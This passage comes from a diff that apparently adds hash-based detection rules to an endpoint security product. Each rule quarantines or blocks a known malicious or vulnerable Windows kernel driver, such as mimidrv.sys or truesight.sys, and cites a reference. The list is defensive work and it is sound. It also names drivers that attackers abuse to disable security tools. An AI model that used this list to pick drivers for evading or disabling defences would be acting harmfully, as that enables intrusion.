+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464174Z",
+  "creation_date": "2026-03-23T11:45:30.464177Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464186Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "469713c76c7a887826611b8c7180209a8bb6250f91d0f1eb84ac4d450ef15870",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9b83c5e-c477-55e0-ae14-5bef9b69268d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982783Z",
+  "creation_date": "2026-03-23T11:45:29.982785Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982791Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36875562e747136313ec5db58174e5fab870997a054ca8d3987d181599c7db6a",
+  "comment": "Vulnerable Kernel Driver (aka d3.sys) [https://www.loldrivers.io/drivers/13b2424a-d337-4bc7-ad1d-2049c79906b4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9bb27e1-f6b7-515d-bce0-e3642e79674b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827515Z",
+  "creation_date": "2026-03-23T11:45:31.827517Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827523Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b87c1cbcddf705ac36318dd8e94167ef075ba3ae916ad616a89a8359e6b37f89",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9c3b56a-956d-56e4-bfaf-83a0ff19bb27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982904Z",
+  "creation_date": "2026-03-23T11:45:29.982906Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982911Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48b1344e45e4de4dfb74ef918af5e0e403001c9061018e703261bbd72dc30548",
+  "comment": "Vulnerable Kernel Driver (aka WiseUnlo.sys) [https://www.loldrivers.io/drivers/b28cc2ee-d4a2-4fe4-9acb-a7a61cad20c6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9c75ac2-0714-5f2b-bbb2-38c25dc23561",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495886Z",
+  "creation_date": "2026-03-23T11:45:31.495888Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495894Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f19be2c132005189b4bed20bb2968673555f93f961a1b7ace91bd69aec7ef10",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9ccab93-9c73-5dcf-86e1-f0b9be0555de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834549Z",
+  "creation_date": "2026-03-23T11:45:30.834552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834561Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "445c9a8200c34c8ff4d7eba1df57247b32780132c0cb16c9e085f40f4d874c66",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9cdc50b-9d2b-51b1-b1d3-b5fa51176b9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616150Z",
+  "creation_date": "2026-03-23T11:45:29.616153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2b51fbeead17f5ee34d5b4a3a83c848fb76f8f0e80769212e137a7aa539a3bc",
+  "comment": "Phoenix Tech. vulnerable BIOS update tool (aka PhlashNT.sys and WinFlash64.sys) [https://www.loldrivers.io/drivers/be3e49ea-095e-4fdb-9529-f4c2dbb9a9fc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9ce7030-ea2d-5fb0-829e-cfcbff58dc84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820547Z",
+  "creation_date": "2026-03-23T11:45:30.820549Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74264ce2e0ed67730b0f3c719aee37664d4688f872875322a64022cd68e060bb",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9d2b6eb-e985-5e0c-9f93-a6a2fbfeb300",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148019Z",
+  "creation_date": "2026-03-23T11:45:31.148021Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3fd69a7e84c6c5f84cc8617e868d3719b7f9ade196467b49a5a82e7ea65619a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9d34c34-ef50-5d3c-8811-1a13b9c3ab7a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620260Z",
+  "creation_date": "2026-03-23T11:45:29.620262Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620267Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61d6e40601fa368800980801a662a5b3b36e3c23296e8ae1c85726a56ef18cc8",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9dac64a-7c54-578b-890e-5af4724dfa5a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977000Z",
+  "creation_date": "2026-03-23T11:45:29.977003Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "78536b73d77fc07c9ca55766f592852abda179c6deb92c4456cfd89492b594ac",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9e6f7b7-8fed-591e-b121-daf8595cc5da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980116Z",
+  "creation_date": "2026-03-23T11:45:29.980117Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980123Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f15962354d37089884abba417f58e9dbd521569b4f69037a24a37cfc2a490672",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9ea0de8-7e38-5486-970c-354ddfb4cc59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159710Z",
+  "creation_date": "2026-03-23T11:45:31.159712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159717Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3775d48fe24462bcb6139ce2b4630efb307f18d804e58549cd5fb00ff24a5b6e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9ea16b6-6601-5fe4-b206-4eb0eeda689e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455445Z",
+  "creation_date": "2026-03-23T11:45:30.455448Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455457Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ecd15521b2c37d2ff02a138700007f2aff28a0accfa6fb3480a4421194ef7d2",
+  "comment": "Vulnerable Kernel Driver (aka mhyprotrpg.sys) [https://www.loldrivers.io/drivers/181b89e5-4bdd-4e95-b1bc-a294a4adfb29/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9eef577-11e4-5cdf-9250-c80361f176ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832960Z",
+  "creation_date": "2026-03-23T11:45:30.832963Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832971Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36c1d01074ceca73b7cbe87b0731ecd8fdeb1518de610f72a23bd7821124f469",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9f034a4-260d-5387-b2a0-2be9a2ff07fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485483Z",
+  "creation_date": "2026-03-23T11:45:31.485486Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa3e1336fbdb2d5751502185168dd5ebfeedcebd2e9992209962f316116b3c7b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9f0c941-ea47-5800-89b5-68ca5e3e5ed7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833202Z",
+  "creation_date": "2026-03-23T11:45:30.833206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833215Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f31f2dc87e5d6d75ea026d031bcd93d68dea66b168c1171c67a25c4ef2641c14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9f55acd-2255-589a-a5f2-7d9ff8002fed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493737Z",
+  "creation_date": "2026-03-23T11:45:31.493740Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493748Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9f9e0d886e5c02e9b803fe730a9c796ce9bda5763d14fe591bae72c284a359d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ca0e062b-1254-54f1-a191-47e4b933af3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473066Z",
+  "creation_date": "2026-03-23T11:45:30.473070Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473079Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a11cf43794ea5b5122a0851bf7de08e559f6e9219c77f9888ff740055f2c155e",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ca1dcb39-6f83-5e95-9f83-7dceb7840be8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153258Z",
+  "creation_date": "2026-03-23T11:45:31.153261Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153269Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d463ddc2979f150d69f7b0c029e6d2a496da80c31dd187fe17b5a4758422d3eb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ca21f245-0fea-5922-b730-e9a3fe6c35f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467032Z",
+  "creation_date": "2026-03-23T11:45:30.467035Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467044Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0fa3fa9488583353b39f12f857911b7115ecd82b70f6fb7be70633d72147649",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ca22d5b7-1a3f-5294-9414-f2c4b1ac3791",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824820Z",
+  "creation_date": "2026-03-23T11:45:30.824823Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824831Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff613c93ca3d3083256122c149f93d280c5a399b95056021d2824fe885abbc2c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ca2846ea-82cb-5900-857b-dfa65eb613be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
